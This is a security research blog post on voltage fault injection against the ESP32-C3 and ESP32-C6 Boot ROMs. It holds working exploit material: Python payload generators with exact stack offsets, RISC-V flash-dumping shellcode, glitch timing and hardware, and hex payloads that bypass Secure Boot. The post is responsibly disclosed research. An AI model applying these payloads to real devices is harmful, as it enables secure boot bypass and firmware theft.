Fault Injection Attacks against the ESP32-C3 and ESP32-C6

Posted on Mon 08 January 2024 in Projects

Introduction

In a previous article, the vulnerabilities of the ESP32-C3 and ESP32-C6 against side-channel attacks have been demonstrated.

Recovering enough key information to decrypt the external flash data is possible. However, a new attack needs to be performed for each new 128-byte block. Since attacking a single block takes hours, this makes decrypting the entire flash content using such a method very impractical.

This frustrating limitation led me to the following question: is it possible, given control of as few bytes of the flash as possible, to run custom code on a ESP32-C3 and ESP32-C6?

After encountering several dead-ends, I concluded that the answer to this question is yes, with:

  • For the ESP32-C3, it requires control over the first 128 bytes (one block).
  • For the ESP32-C6, it necessitates control over the first 128 bytes and a few bytes starting from offset 0x180 (two blocks).

Achieving the above demands bypassing the Secure Boot feature of both the ESP32-C3 and ESP32-C6. This is accomplished using simple voltage fault injections, despite the countermeasures that Espressif has integrated into its Boot Rom.


Initial Flawed Ideas

To dump the clear text of the entire flash, given only limited control over its data, I attempted to run custom code on my targets. This code could then be used to dump the remaining content.

Of course, if the flash encryption feature is activated, it’s reasonable to assume the same for Secure Boot. This feature is precisely aimed at preventing any unsigned code from being executed. Hence, bypassing it is necessary.

For this, I’ve explored several techniques. My first attempts did not work, but I believe discussing them still brings educational value.

TOCTOU

The first idea I explored to bypass the Secure Boot was a TOCTOU attack.

My initial plan was to:

  • Consider a successful CPA attack to have been performed against the first 128-byte block of the target. This means the attacker can decrypt and encrypt arbitrary data corresponding to this block.
  • Let the target validate the signed software bootloader, available from the external Flash. This operation is performed by the Boot ROM. That’s the time-of-check.
  • Once the bootloader signature has been verified, I would dynamically replace the flash content with specially crafted data to execute arbitrary code. That’s the time-of-use.

Such a method could have been performed thanks to the ESP CPA Board I introduced earlier. Indeed, this board embedded the necessary hardware to logically disconnect the physical flash component at runtime and push arbitrary data to the target.

External Flash Wiring
External Flash Wiring

Now, perhaps without much surprise for some readers, this naive method can’t succeed. In fact, to prevent such attacks at this stage, both the ESP32-C3 and ESP32-C6 execute the following steps:

  • Load the entire image into a RAM buffer.
  • Perform the cryptographic signature verification.
  • Use the data that has been preloaded into this RAM buffer for all subsequent operations.

On the other hand, what is technically feasible is to perform such an attack against the application code that is verified and loaded by the software bootloader. Indeed, this code is typically too large to be completely stored in RAM, and XIP is employed. This means it’s likely for code to be pulled multiple times from the external flash.

However, in the scenario where the flash data is encrypted, I would argue that this attack isn’t very practical due to the following two reasons:

  • The CPA attack would take way longer. Instead of attacking a 128-byte block that’s read immediately after the DUT has booted, we would need to wait for the targeted block to be loaded. While this might not seem substantial, considering hundreds of thousands of measurements are needed, this slight difference could quickly accumulate.
  • Targeting the correct block would require a lot of trial and error. Not all flash is code, and not all code will be executed twice. Finding anything but an ad-hoc solution to such a problem seems difficult for me.

Note

During the embargo period I adhered to before releasing this article publicly, onekey released an article titled “Making TOCTOU Great again – X(R)IP”.

This article explores the very same concept: a TOCTOU method targeted against the application code. Note, however, that the proposed proof-of-concept is implemented against an ESP32 part that does not have the flash encryption feature enabled.

Simple Fault Injection

Faced with this first demise, I next considered bypassing the Secure Boot feature directly with some kind of fault injection.

While such an attack was known to be possible against the ESP32, Espressif has since issued several security advisories in which statements like the following are made:

ESP32-S2, ESP32-C3, ESP32-S3 and all our future chips have countermeasures available in ROM code to prevent fault injection attacks, including the one discussed in this advisory.

With a bit of reverse-engineering, it’s possible to infer the nature of these countermeasures. Espressif somewhat facilitated this by publishing on GitHub the ELF files corresponding to the Boot ROM for all its chips. Everything is available from this public repository. These ELF files are relatively straightforward to comprehend, as most of the function names have not been stripped.

Looking at the esp32c3_rev3_rom.elf file with Ghidra, it’s possible to observe repeated calls to peculiar functions, all named following the same pattern (check_condCOUNTER.XXX()).

As an example, the function check_condCOUNTER.4107() is repeatedly called multiple times after the validation of the loaded code’s signature. This function’s purpose is to re-verify whether the Secure Boot feature has been activated and the outcome of the signature validation process. The pseudocode for this pattern can be summarized into the following snippet:

void check_condCOUNTER.4107(uint32_t *validation_word)
{
    if (!secure_boot_enabled())
    {
        return;
    }

    if (*validation_word != 0x3a5a5aa5)
    {
        system_reset();
    }
}

void load_bootloader()
{
    /* [...] */

    if (secure_boot_enabled())
    {
        validation_word = verify_stage_bootloader();
        if (validation_word != 0x3a5a5aa5)
        {
            failure():
        }
    }

    /* [...] */

    check_condCOUNTER.4107(&validation_word);
    check_condCOUNTER.4107(&validation_word);
    check_condCOUNTER.4107(&validation_word);
    check_condCOUNTER.4107(&validation_word);
    check_condCOUNTER.4107(&validation_word);
    check_condCOUNTER.4107(&validation_word);
    check_condCOUNTER.4107(&validation_word);

    /* [...] */

    execute_bootloader();
}

Here, to reach the execute_bootloader(); function, simply glitching the initial check, if (validation_word != 0x3a5a5aa5), isn’t enough. A series of consistent and successful glitches of all the check_condCOUNTER.4107 calls would be necessary. Obtaining so many successful glitches in a row is highly unlikely, rendering this attack strategy impracticable.

Similar protection patterns are extensively used everywhere in the Boot ROM code, safeguarding all its sensitive sections.


FI-Induced Buffer Overflow Exploit

Thanks to Espressif’s countermeasures, it seems any naive glitching strategy is doomed to fail. However, I’ll introduce here another method that can be used against both the ESP32-C3 and ESP32-C6 to obtain code execution. The idea is to inject faults to trigger an exploitable buffer overflow.

As a first example, let’s examine this simplified snippet extracted from the ets_secure_boot_verify_bootloader_with_keys function, within the ESP32-C3 Boot Rom. This function is called while loading the software bootloader from the external flash, to validate its signature.

mmap_adr = ets_loader_map_range(&map_ctx, 0, 0x18, 0);
memcpy(saved_image_header, mmap_adr, 8);

/* [...] */

if (save_to_cache) { // save_to_cache = 1
    memcpy(cache_address, mmap_adr, 0x18);
    cache_address = cache_address + 0x18;
}

The ets_loader_map_range is used to construct a memory map of the external flash data. In this case, 0x18 bytes of data from the flash at address 0 are being requested. The resulting mapping starts at the address stored in the mmap_adr variable.

An important point to highlight is that due to hardware limitations of the ESP32-C3 MMU, even though 0x18 bytes are requested, 64 KiB of the flash will actually be accessible starting from the address stored in mmap_adr.

Additionally, saved_image_header is a stack-based buffer.

The first call to memcpy translates to the following RISC-V assembly listing.

40049152: 21 46           c.li       a2, 0x8 // length
40049154: aa 85           c.mv       a1, a0 // mmap_adr
40049156: 2a 84           c.mv       s0, a0
40049158: 08 10           c.addi4spn a0, sp, 0x20 // saved_image_header
4004915a: ef f0 00 66     jal        ra, memcpy

Glitching the first instruction, li a2, 0x8, could potentially modify the length parameter and result in the overflow of the saved_image_header buffer.

In practice, experimenting with a piece of hardware that will be introduced in the next section of this article shows that a glitch here can indeed corrupt the value of the a2 register. Instead of being loaded with 0x8, the value 0x208 can sometimes be observed.

This results in the following call:

memcpy(saved_image_header, mmap_adr, 0x208) // sizeof(saved_image_header) = 8

As I’ll explain, such a buffer overflow is easy to exploit, resulting in arbitrary code execution.


Hardware Overview

Before going back to actually exploiting the buffer overflows that a fault injection can induce, let’s take a moment to detail the hardware used for this research.

Schematics and other hardware-related documents are available on the dedicated hardware files page.

Custom Boards

Custom boards have been designed for both the ESP32-C3 and ESP32-C6. They are, however, way less complicated and polished than the ESP CPA Board I presented in my previous article.

ESP32-C6 and ESP32-C3 PoC Boards
ESP32-C6 and ESP32-C3 PoC Boards

The main components of this hardware platform are:

  • The DUT, which could be either the ESP32-C3 or ESP32-C6.
  • An external flash component.
  • A USB connector and a USB-to-UART bridge component, used to communicate and configure the DUT.
  • Two 3.3V3.3V power supplies:
    • One of them delivers a stable voltage.
    • The other one is connected to a simple glitcher circuit.
  • Multiple pins with the following functions:
    • Control of the glitching circuit.
    • Configuration of power source (stable or glitched) for the DUT’s various supply lines.
    • Monitoring the activity of the external flash QSPI bus. This is used as a trigger to start the glitching process.

The provided block diagram illustrates the connections between these components.

Block Diagram of the hardware platform
Block Diagram of the hardware platform

The glitching circuit is centered around a “crowbar” MOSFET, Q1. It is used to briefly short the power rail 3V3G to ground. A small ( 7.5Ω7.5 \Omega ) resistor, R4, keeps the current reasonably low.

The glitcher circuit
The glitcher circuit

What’s obviously missing from this design is a way to control the glitching circuit (i.e., something to drive the GLITCH signal of the above circuit at the right time). For this simple PoC, this task is offloaded to an off-the-shelf FPGA development kit.

FPGA Platform

The choice of the FPGA platform to use isn’t critical. Here, I opted for a cheap Tang Nano 9K.

A custom board connected to the Tang Nano 9K
A custom board connected to the Tang Nano 9K

The FPGA is configured thanks to the LiteX framework. This framework is used to concisely describe an entire SoC with Python code. While perhaps a bit over-engineered for the task, this approach facilitates rapid and efficient iterations.

At the highest level, the FPGA executes the following steps:

  • Monitors the SCK signal of the external flash QSPI bus for a configurable count of clock cycles. This serves as a synchronization procedure.
  • Pauses for a configurable number of cycles of its internal clock.
  • Brings the 3V3G power rail down for a given number of cycles of its internal clock.

Note

This method, while suitable for a simple PoC, isn’t ideal because both the FPGA and the DUT operate on distinct and asynchronous clocks. An easy way to make glitches more repeatable would be for the FPGA to feed a clock signal to the DUT. This is what the ESP CPA Board does.

Glitches Parameters

Before going any further, it was necessary to understand how the chips responded to various kinds of voltage glitches.

Several parameters could be adjusted. The most obvious being:

  • The choice of voltage rail among the multiple ones used to power the SoC. Which one should be targeted?
  • The optimal duration of a glitch.

For the first question, the most straightforward decision was to select the power rail responsible for powering the RISC-V core of the ESP32-C3 and ESP32-C6.

In the ESP32-C3 case, the datasheet provides the following power tree, where the appropriate rail appears obvious: VDD3P3_CPU. Subsequent experimentation confirmed this is indeed a suitable candidate.

ESP32-C3 Power Tree
ESP32-C3 Power Tree

A comparable diagram is available for the ESP32-C6. While less clear, here, VDD_PST2 seems to be a correct choice. Once more, practical results confirmed this assumption.

ESP32-C6 Power Tree
ESP32-C6 Power Tree

Concerning the duration of the glitches, I’ve determined that from 1 to 3 clock cycles of the FPGA (clocked at 27MHz27MHz) yielded the best results. Your millage may vary here, as this parameter is probably highly dependent on the electrical parameters of the circuit, including parasitic elements.

Glitched power supply rail
Glitched power supply rail

Buffer Overflow Exploitation

With the hardware setup now explained, let’s return to the topic of exploiting buffer overflows induced by fault injections.

ESP32-C3 Exploit

Strategy

As previously outlined, in the case of the ESP32-C3 Boot ROM, the piece of code I focused on is as follows.

mmap_adr = ets_loader_map_range(&map_ctx, 0, 0x18, 0);
memcpy(saved_image_header, mmap_adr, 8);

/* [...] */

if (save_to_cache) { // save_to_cache = 1
    memcpy(cache_address, mmap_adr, 0x18);
    cache_address = cache_address + 0x18;
}

A glitch has the potential to cause a replacement of:

memcpy(saved_image_header, mmap_adr, 8);

with:

memcpy(saved_image_header, mmap_adr, 0x208);

This results in an overflow of the saved_image_header buffer.

Note

This exact behavior has been confirmed through the debugging of the DUT using JTAG. A debugger can be connected to the ESP32-C3 with a simple USB cable. My hardware platform doesn’t offer a convenient connector for this feature, but some hand-soldering can do the trick.

Please note that a special procedure needs to be followed for the JTAG interface to be accessible when Secure Boot is enabled.

The relevant sections of stack memory for the ets_secure_boot_verify_bootloader_with_keys function are presented in this table.

Offset from RALengthData TypeNameComment
-0x2140x8byte[8]saved_image_headerThe overflowing buffer
-0x20c0x24//Don’t care
-0x1e80x4byte *cache_addressFirst Target
-0x1e40x1e4//Don’t care
0x00x4uint32_t *RASaved return address

Attempting to overwrite the value of RA, the saved return address of the function, would follow a classical buffer overflow exploit pattern. Unfortunately, 0x208 bytes aren’t enough to reach this target.

However, an overflow of only 0x24 + 0x4 bytes beyond the saved_image_header buffer is enough to control the value of cache_address.

After obtaining control of cache_address, the following call to memcpy(cache_address, mmap_adr, 0x18); can be used to overwrite an arbitrary section of memory, including the saved RA value.

Given control over RA, redirecting the program’s execution path becomes possible. Conveniently, at this stage of the Boot ROM runtime, the beginning of the flash data is mapped to memory. An executable mapping starts at address 0x42000000, facilitating the direct execution of a shellcode.

The following Python code snippet can be used to generate a payload that implements this strategy. At this point of the execution, all the relevant memory addresses are stable and deterministic.

#!/usr/bin/env pyhon3
"""Generate a flash payload for the PoC."""

from struct import pack


if __name__ == "__main__":
    output_filename = "payload.bin"
    saved_ra_adr = 0x3FCDE2C0 + 0x24C

    result = b""

    result += pack("<B", 0xE9)  # Magic
    result += pack("<B", 1)  # segment count
    result += pack("<B", 2)  # SPI mode
    result += pack("<B", 0x1F)  # SPI speed & size
    result += pack("<I", 0x4200_0000 + 48)  # This address will be written at saved_ra_adr
    result += pack("<B", 0xEE)  # wp_pin

    # Overflow starts from here

    result += pack("<BBB", 0, 0, 0)  # spi_pin_drv
    result += pack("<H", 0x5)  # ESP_CHIP_ID_ESP32C3
    result += pack("<B", 0x3)  # chip rev
    result += pack("<H", 0x3)  # min chip rev full
    result += pack("<H", 0x63)  # max chip rev full
    result += pack("<BBBB", 0, 0, 0, 0)  # reserved
    result += pack("<B", 1)  # hash appended

    result += pack("<I", 0xDEADDEAD)  # Invalid load_adr
    result += pack("<I", 0x41)  # Invalid data_len

    # Add enough padding to reach cache_address
    result = result.ljust(44, b"\xFF")

    # cache_address is overwritten here
    result += pack(
        "<I", saved_ra_adr - 4
    )  # 4 = sizeof(magic) + sizeof(segment count) + sizeof(SPI mode)

    # Append shellcode here, at this point, offset = 48 bytes
    with open("shellcode/shellcode.bin", "rb") as f:
        result += f.read()

    assert len(result) <= 128, "Payload is too large"

    result = result.ljust(128, b"\xFF")

    assert (
        result[0x58] != 0
    ), "Cannot have a zero at offset 0x58 (save_to_cache), please adjust shellcode"

    with open(output_filename, "wb") as f:
        f.write(result)

Some details I’ve glossed over appear in this snippet. For instance, a valid image header needs to be crafted for the execution flow to even reach the targeted piece of code.

Moreover, you may note the size of the generated payload can fit in less than 128 bytes. It means, in the case of an encrypted flash, obtaining control over a single 128-byte block, conveniently located at the very beginning of the flash, is enough for this method to work.

Results

The exploit has been tested with the following RISC-V assembly shellcode.

li s0, 0x3c000000 # Where the data is mapped
display_loop:
    lbu a0, 0(s0)
    li ra, 0x40000068 # uart_tx_one_char (in ROM)
    addi s0, s0, 1
    jalr ra, 0
    c.j display_loop
Binary file generation The following Makefile can be used to assemble the shellcode.
TOOLCHAIN = $(HOME)/.espressif/tools/riscv32-esp-elf/esp-12.2.0_20230208/riscv32-esp-elf/bin/riscv32-esp-elf

all: shellcode.bin
.PHONY: all clean

shellcode.o: shellcode.as
        $(TOOLCHAIN)-as -fpic -march=rv32imc_zicsr_zifencei shellcode.as -o shellcode.o

shellcode.bin: shellcode.o
        $(TOOLCHAIN)-objcopy shellcode.o -O binary shellcode.bin

clean:
        rm -rf shellcode.bin shellcode.o

Where:

  • 0x3c000000 represents the address of a readable map of the beginning of the external flash. If necessary, data will be transparently decrypted when read from this location.
  • 0x40000068 corresponds to the address of a Boot ROM function that can be used to output data via the UART bus of the ESP32-C3.

Note

This shellcode is simply useful as part of this PoC. To effectively dump the entire flash content, a more complex shellcode would be required to:

  • Set up the MMU to map the entire flash content (as only the first 64 KiB are available at this point).
  • Periodically feed a watchdog to prevent a system reset during the dump.

The following payload, generated by the previously shared Python script, was written to the first 128 bytes of the target’s flash memory.

00000000: e901 021f 3000 0042 ee00 0000 0500 0303  ....0..B........
00000010: 0063 0000 0000 0001 adde adde 4100 0000  .c..........A...
00000020: ffff ffff ffff ffff ffff ffff 08e5 cd3f  ...............?
00000030: 3704 003c 0345 0400 b700 0040 9380 8006  7..<.E.....@....
00000040: 0504 e780 0000 fdb7 ffff ffff ffff ffff  ................
00000050: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000060: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000070: ffff ffff ffff ffff ffff ffff ffff ffff  ................

During my tests, after a couple of minutes worth of glitching attempts, the shellcode was successfully executed.

What follows is a dump of the UART data sent by the device after a successful glitch.

00000000: 4553 502d 524f 4d3a 6573 7033 3263 332d  ESP-ROM:esp32c3-
00000010: 6170 6931 2d32 3032 3130 3230 370d 0a42  api1-20210207..B
00000020: 7569 6c64 3a46 6562 2020 3720 3230 3231  uild:Feb  7 2021
00000030: 0d0a 7273 743a 3078 3120 2850 4f57 4552  ..rst:0x1 (POWER
00000040: 4f4e 292c 626f 6f74 3a30 7864 2028 5350  ON),boot:0xd (SP
00000050: 495f 4641 5354 5f46 4c41 5348 5f42 4f4f  I_FAST_FLASH_BOO
00000060: 5429 0d0a 5350 4957 503a 3078 6565 0d0a  T)..SPIWP:0xee..
00000070: 6d6f 6465 3a44 494f 2c20 636c 6f63 6b20  mode:DIO, clock
00000080: 6469 763a 310d 0a56 616c 6964 2073 6563  div:1..Valid sec
00000090: 7572 6520 626f 6f74 206b 6579 2062 6c6f  ure boot key blo
000000a0: 636b 733a 2030 0d0a 496e 7661 6c69 6420  cks: 0..Invalid
000000b0: 696d 6167 6520 626c 6f63 6b2c 2063 616e  image block, can
000000c0: 2774 2076 6572 6966 792e 0d0a e901 021f  't verify.......
000000d0: 3000 0042 ee00 0000 0500 0303 0063 0000  0..B.........c..
000000e0: 0000 0001 adde adde 4100 0000 ffff ffff  ........A.......
000000f0: ffff ffff ffff ffff 08e5 cd3f 3704 003c  ...........?7..<
00000100: 0345 0400 b700 0040 9380 8006 0504 e780  .E.....@........
00000110: 0000 fdb7 ffff ffff ffff ffff ffff ffff  ................
********:                 cropped
000010d0: 2076 616c 6964 2c20 7369 676e 6174 7572   valid, signatur
000010e0: 6520 6261 641b 5b30 6d0a 0000 eeee eeee  e bad.[0m.......
000010f0: eeee eeee eeee eeee eeee eeee eeee eeee  ................
00001100: eeee eeee eeee eeee eeee eeee 0000 0000  ................
00001110: 0101 0101 0101 0101 0101 0101 0101 0101  ................
00001120: 0101 0101 0101 0101 0101 0101 0101 0101  ................
00001130: 0000 0000 626f 6f74 6c6f 6164 6572 5f75  ....bootloader_u
00001140: 7469 6c5f 7265 6769 6f6e 735f 6f76 6572  til_regions_over
00001150: 6c61 7000 7665 7269 6679 5f6c 6f61 645f  lap.verify_load_
00001160: 6164 6472 6573 7365 7300 0000 6861 6e64  addresses...hand
00001170: 6c65 2021 3d20 4e55 4c4c 0000 2f2f 4944  le != NULL..//ID
00001180: 462f 636f 6d70 6f6e 656e 7473 2f62 6f6f  F/components/boo
00001190: 746c 6f61 6465 725f 7375 7070 6f72 742f  tloader_support/
000011a0: 7372 632f 6573 7033 3263 332f 626f 6f74  src/esp32c3/boot
000011b0: 6c6f 6164 6572 5f73 6861 2e63 0000 0000  loader_sha.c....
000011c0: 6461 7461 5f6c 656e 2025 2034 203d 3d20  data_len % 4 ==

The area highlighted in orange corresponds to the beginning of the flash dump, showing the correct execution of the shellcode. Some readable strings, here belonging to the software bootloader, can be identified.

ESP32-C6 Exploit

Strategy

A comparable strategy can be employed for the ESP32-C6. A suitable target is located in the ets_run_flash_bootloader function, that is called early in the Boot ROM execution flow.

mmap_adr = (void *)ets_loader_map_range(mmap_context, 0, 0x18, 0);
memcpy(local_buffer, mmap_adr, 8);

A memory map of 0x18 bytes and starting from offset 0 is requested with the ets_loader_map_range function. The resulting map is available from the address stored in mmap_adr. Just like for the ESP32-C3, even though 0x18 bytes only are requested, the MMU is configured for a larger chunk to become available.

This snippet can be translated to the following assembly listing.

4001acea: ef f0 3f cc     jal        ra, ets_loader_map_range
4001acee: aa 85           c.mv       a1, a0
4001acf0: 2a de           c.swsp     a0, 0x3c(sp)
4001acf2: 21 46           c.li       a2, 0x8
4001acf4: 68 08           c.addi4spn a0, sp, 0x1c
4001acf6: ef 50 91 77     jal        ra, memcpy

Glitching the instruction at address 0x4001acf2 could also corrupt the value of a2, resulting in an overflow of local_buffer.

At runtime:

  • local_buffer starts at address 0x4087e46c.
  • The saved return address is located at address 0x4087e5ec.

Hence, a 0x180 + 0x4 bytes overflow is required to overwrite this return address. Assuming that a2 is once again overwritten with 0x208, things could work out.

The following piece of Python code can generate a payload based on the above. A valid image header still needs to be crafted, and some details sorted out.

#!/usr/bin/env pyhon3
"""Generate a flash payload for the PoC."""

from struct import pack


if __name__ == "__main__":
    output_filename = "payload.bin"

    result = b""

    result += pack("<B", 0xE9)  # Magic
    result += pack("<B", 0x16)  # invalid segment count
    result += pack("<B", 2)  # SPI mode
    result += pack("<B", 0x1F)  # SPI speed & size
    result += pack("<I", 0x0000_0000)  # Don't care
    result += pack("<B", 0xEE)  # wp_pin

    result += b"\xFF"  # padding

    with open("shellcode/shellcode.bin", "rb") as f:
        result += f.read()

    result = result.ljust(0x180, b"\xFF")

    result += pack("<I", 0x42000000 + 10)  # Return address

    with open(output_filename, "wb") as f:
        f.write(result)

The complete payload size amounts to 0x184 bytes. This corresponds to four consecutive 128-byte blocks. However, if the shellcode is small enough and considering most of the payload’s data is padding, it’s possible that control over just two of these blocks, respectively starting at offset 0 and 0x180, would be enough for a successful exploit.

Results

The exploit has been tested with the following RISC-V assembly shellcode.

li s0, 0x42000000 # Where the data is mapped
display_loop:
    lbu a0, 0(s0)
    li ra, 0x40022cda # uart_tx_one_char (in ROM, stable)
    addi s0, s0, 1
    jalr ra, 0
    c.j display_loop
Binary file generation The following Makefile can be used to assemble the shellcode.
TOOLCHAIN = $(HOME)/.espressif/tools/riscv32-esp-elf/esp-12.2.0_20230208/riscv32-esp-elf/bin/riscv32-esp-elf

all: shellcode.bin
.PHONY: all clean

shellcode.o: shellcode.as
        $(TOOLCHAIN)-as -fpic -march=rv32imc_zicsr_zifencei shellcode.as -o shellcode.o

shellcode.bin: shellcode.o
        $(TOOLCHAIN)-objcopy shellcode.o -O binary shellcode.bin

clean:
        rm -rf shellcode.bin shellcode.o

This follows the same approach as the ESP32-C3, with the only difference being the addresses of the mapped data and the uart_tx_one_char function.

The following payload was written to the beginning of the target’s flash memory. Highlighted in blue is the payload generated by the previously shared Python script. In green, is an additional piece of data added to help to detect the correct execution of the shellcode.

00000000: e916 021f 0000 0000 eeff 3704 0042 0345  ..........7..B.E
00000010: 0400 b730 0240 9380 a0cd 0504 e780 0000  ...0.@..........
00000020: fdb7 ffff ffff ffff ffff ffff ffff ffff  ................
00000030: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000040: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000050: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000060: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000070: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000080: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000090: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000b0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000100: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000110: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000120: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000130: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000140: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000150: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000160: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000170: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000180: 0a00 0042 0a76 6963 746f 7279 2150 6f43  ...B.victory!PoC
00000190: 2050 6f63 2050 6f63                       Poc Poc

Once again, during my tests, after a couple of minutes, the shellcode was successfully executed.

What follows is a dump of the UART data sent by the device after a successful glitch.

00000000: 3030 3030 2030 7830 ff45 5350 2d52 4f4d  0000 0x0.ESP-ROM
00000010: 3a65 7370 3332 6336 2d32 3032 3230 3931  :esp32c6-2022091
00000020: 390d 0a42 7569 6c64 3a53 6570 2031 3920  9..Build:Sep 19
00000030: 3230 3232 0d0a 7273 743a 3078 3120 2850  2022..rst:0x1 (P
00000040: 4f57 4552 4f4e 292c 626f 6f74 3a30 7863  OWERON),boot:0xc
00000050: 2028 5350 495f 4641 5354 5f46 4c41 5348   (SPI_FAST_FLASH
00000060: 5f42 4f4f 5429 0d0a 496e 7661 6c69 6420  _BOOT)..Invalid
00000070: 696d 6167 6520 626c 6f63 6b20 636f 756e  image block coun
00000080: 743a 2032 3220 286d 6178 2031 3629 0d0a  t: 22 (max 16)..
00000090: e916 021f 0000 0000 eeff 3704 0042 0345  ..........7..B.E
000000a0: 0400 b730 0240 9380 a0cd 0504 e780 0000  ...0.@..........
000000b0: fdb7 ffff ffff ffff ffff ffff ffff ffff  ................
000000c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000000f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000100: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000110: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000120: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000130: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000140: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000150: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000160: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000170: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000180: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000190: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001b0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000200: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000210: 0a00 0042 0a76 6963 746f 7279 2150 6f43  ...B.victory!PoC
00000220: 2050 6f63 2050 6f63 ffff ffff ffff ffff   Poc Poc........
00000230: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000240: ffff ffff ffff ffff ffff ffff ffff ffff  ................

The area highlighted in orange corresponds to the beginning of the flash dump, showing the correct execution of the shellcode.


Conclusion

Espressif has introduced various countermeasures against fault injection in the Boot ROM of both the ESP32-C3 and ESP32-C6. However, they only guard against naive attacks, and it’s still possible to trigger exploitable buffer overflows, leading to code execution.

Such a vulnerability seems especially useful in the context of dumping the entire content of an encrypted external flash, whose content has been partially revealed thanks to a previous side-channel attack.

Disclosure Timeline

Espressif has been contacted to disclose the attack detailed in this article, along with the side-channel method disclosed in the previous one.

The process outlined in the Espressif Security Incident Response Document has been followed.

  • 07-Aug-2023: A first email was sent to Espressif.
  • 28-Aug-2023: After several follow-up emails, Espressif started analyzing the issue.
  • 15-Sept-2023 ~ 17-Nov-2023: Several technical exchanges took place. An ESP CPA Board unit and associated cartridges have been shipped to Espressif’s R&D center in Shanghai.
  • 20-Nov-2023: The bug bounty team at Espressif deemed this research eligible for a reward, granting $2,229.
  • 13-Dec-2023: Espressif shared a draft revision of a security advisory.
  • 08-Jan-2024: Espressif published the final advisory.